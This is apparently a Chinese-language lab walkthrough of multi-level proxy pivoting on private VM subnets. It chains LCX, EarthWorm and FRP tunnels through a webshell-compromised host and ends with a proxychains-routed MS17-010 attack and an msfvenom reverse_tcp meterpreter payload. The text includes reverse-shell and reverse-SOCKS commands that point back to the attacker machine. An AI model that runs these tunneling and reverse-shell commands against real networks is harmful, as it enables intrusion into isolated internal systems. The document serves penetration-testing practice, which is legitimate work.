多级代理实验
内网渗透中经常碰到多个网段的机器不出网的情况,做一套试验环境来练习下多级代理
环境介绍
以下环境均在VM16中搭建
- LEDE x2.36 软路由 *1
- 网络:可出网,边界,IP 172.16.17.100
- 虚拟机配置:2C 4G 4网卡
- Windows server 2019 *1
- 网络:可出网,DMZ,WEB机,IP 172.16.18.2
- 虚拟机配置:2C 2G 1网卡
- Windows server 2016 *1
- 网络:不可出网,DMZ,IP 10.100.100.2
- 虚拟机配置:2C 2G 1网卡
- Windows server 2008 R2*1
- 网络:不可出网,DMZ,IP 192.168.37.1
- 虚拟机配置:2C 2G 1网卡
- Win10 *1
- 网络:通Win2019
- 虚机配置:4C8G 1网卡
拓扑图
攻击机配置
Win10
kali (parrot亦可)
过程
LEDE配置
安装好LEDE后配置接口如下
配置后状态如图
防火墙配置如下
DMZ规则
DMZ_WAN规则
端口转发规则
LEDE
防火墙新建端口转发规则
测试连通性
3台虚拟机安装好后测试连通性
2016虚机
2008
2019
2019安装phpstudy
,写个一句话马
攻击机
攻击机网卡设置为与LEDE
一样的网卡,更改网关为LEDE后测试正常访问
测试一句话连接
代理工具
LCX
简单的转发
在目标机上执行lcx -slav 172.16.17.3 5555 127.0.0.1 3389
即可将本地3389
转发到攻击机的5555
端口
攻击机本地执行lcx -listenning 5555 5556
即可通过本地127.0.0.1:5556连接172.16.18.2
的3389
流量走向172.16.18.2:3389→172.16.17.3:5555
一级代理
2016机器执行Lcx.exe -slav 172.16.18.2 5559 127.0.0.1 3389
2019机器执行lcx -trans 5559 172.16.17.3 5558
攻击机执行lcx -listenning 5558 5556
此时的被控机流量走向10.100.100.2:3389→172.16.18.2:5559→172.16.17.3:5558
二级代理
2008机器执行Lcx.exe -slav 10.100.100.2 5560 127.0.0.1 3389
2016机器执行lcx -trans 5560 172.16.18.2 5559
2019机器执行lcx -trans 5559 172.16.17.3 5558
攻击机执行lcx -listenning 5558 5556
此时的被控机流量走向192.168.37.2:3389→10.100.100.2:5560→172.16.18.2:5559→172.16.17.3:5558
卡黑屏,无法正常操作
Go版LCX
项目地址https://github.com/cw1997/NATBypass
2008机器执行Lcx.exe -slave 127.0.0.1:3389 10.100.100.2:5560
2016机器执行lcx -tran 5560 172.16.18.2:5559
2019机器执行lcx -tran 5559 172.16.17.3:5558
攻击机执行lcx -listen 5558 5556
此时的被控机流量走向192.168.37.2:3389→10.100.100.2:5560→172.16.18.2:5559→172.16.17.3:5558
可以正常操作
earthworm
简单的转发
earthworm
提供了6种命令格式
ssocksd
正向服务器,等待客户端连接
rcsocks
反弹客户端
rssocks
反弹服务端
lcx_slave
反弹服务端
lcx_listen
监听lcx_slave
传递的数据
lcx_tran
转发用
lcx管道
受控机2019
机执行如下命令
ew_for_win_32.exe -s ssocksd -l 9999
开启正向代理服务器ew_for_win_32.exe -s lcx_slave -d 172.16.17.3 -e 5556 -f 127.0.0.1 -g 9999
弹回攻击机
攻击机win10
执行
ew_for_win_32.exe -s lcx_listen -l 10800 -e 5556
监听5556端口,同时监听10800端口流量转发到5556端口
Proxifier
设置
即可通过2019
机器的内网IP进行连接
此时流量走向172.16.18.2:3389→172.16.18.2:9999→172.16.17.3:5556→172.16.17.3:10800
socks隧道
2019
机器执行ew_for_win_32.exe -s rssocks -d 172.16.17.3 -e 5556
win10
执行ew_for_win_32.exe -s rcsocks -l 10800 -e 5556
Proxifier
不变,即可连接
一级代理
2016
机器执行ew_for_win_32.exe -s ssocksd -l 9999
开启正向代理服务器
2019
机器执行ew_for_win_32.exe -s lcx_slave -d 172.16.17.2 -e 5556 -f 10.100.100.2 -g 9999
弹回攻击机
win10
执行ew_for_win_32.exe -s rcsocks -l 10800 -e 5556
Proxifier
不变,即可连接
二级代理
2008
机器执行ew_for_win_32.exe -s rssocks -d 10.100.100.2 -e 7777
开启正向代理服务器并连接到10.100.100.2
2016
机器执行ew_for_win_32.exe -s lcx_listen -l 9999 -e 7777
转发777端口到9999端口
2019
机器执行ew_for_win_32.exe -s lcx_slave -d 172.16.17.2 -e 5556 -f 10.100.100.2 -g 9999
弹回攻击机
win10
执行ew_for_win_32.exe -s rcsocks -l 10800 -e 5556
Proxifier
不变,即可连接
FRP
简单的转发
win10
机器运行FRP服务端,默认配置即可frps -c frps.ini
编写客户端文件并运行frpc.exe -c frpc.ini
[common] |
此时服务端显示如下代表连接成功
配置好proxifier
后即可成功连接
多级转发
思路:在需要转发的机器上同时启动Server、Client即可实现
在win2019
机器上编写配置文件并运行frpc.exe -c frpc.ini
[common] |
编写frps
配置文件并运行frps.exe -c frps.ini
[common] |
在win2016
上编写配置文件并运行frpc.exe -c frpc.ini
[common] |
配置好proxifier
后尝试登录win2008
此时win2019
的log
win2016
的log
结束掉win2016
的进程,远程桌面断开
MSF代理
尝试MSF通过多级代理进行MS17-010
利用
配好Linux的网络
在win2019
机器上需要开2个代理
nb -tran 8888 172.16.17.4:8888
用于返回meterpreter
会话ew_for_win_32.exe -s rssocks -d 172.16.17.4 -e 5556
用于接收攻击流量
kali
上执行
./ew_for_linux -s rcsocks -l 10800 -e 5556
- 编辑
/etc/proxychains4.conf
,新增socks5 127.0.0.1 10800
proxychains4 msfconsole
启动MSF
执行扫描
设置攻击时需要设置反弹shell为前置代理机的IP,生成shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.18.2 LPORT=8888 -f dll -o 1.dll
,使用multi/handler
模块,设置payload
、LHOST
、LPORT
,然后run
将win2019
机器上的ew切回win10
的IPew_for_win_32.exe -s rssocks -d 172.16.17.2 -e 5556
然后配置BPF框架、proxifier,执行攻击
此时MSF监听到反弹的shell